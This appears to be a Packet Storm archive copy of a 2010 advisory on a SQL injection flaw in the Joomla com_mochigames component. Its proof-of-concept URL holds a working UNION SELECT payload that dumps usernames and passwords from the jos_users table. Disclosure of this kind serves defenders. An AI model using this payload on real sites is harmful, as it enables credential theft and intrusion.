Joomla Mochigames SQL Injection

2010-01-24T00:00:00
ID PACKETSTORM:85580
Type packetstorm
Reporter bhunt3r
Modified 2010-01-24T00:00:00

Description

                                        
                                            `[~]>> ...[BEGIN ADVISORY]...  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> TITLE: Joomla (com_mochigames) SQL Injection Vulnerability   
[~]>> LANGUAGE: PHP  
[~]>> DORK: N/A  
[~]>> RESEARCHER: B-HUNT3|2  
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com  
[~]>> TESTED ON: LocalHost  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection  
[~]>> AFFECTED VERSIONS: Confirmed in 0.51 but probably other versions also  
[~]>> RISK: Medium/High  
[~]>> IMPACT: Execute Arbitrary SQL queries  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> PROOF OF CONCEPT:  
  
[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?view=mochigames&id=[SQL]&option=com_mochigames&Itemid=80  
[~]>> http://[HOST]/[JOOMLA_PATH]/index.php?view=mochigames&id=99999%27+union+select+1,2,username,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+jos_users%23&option=com_mochigames&Itemid=80  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> ...[END ADVISORY]...  
  
`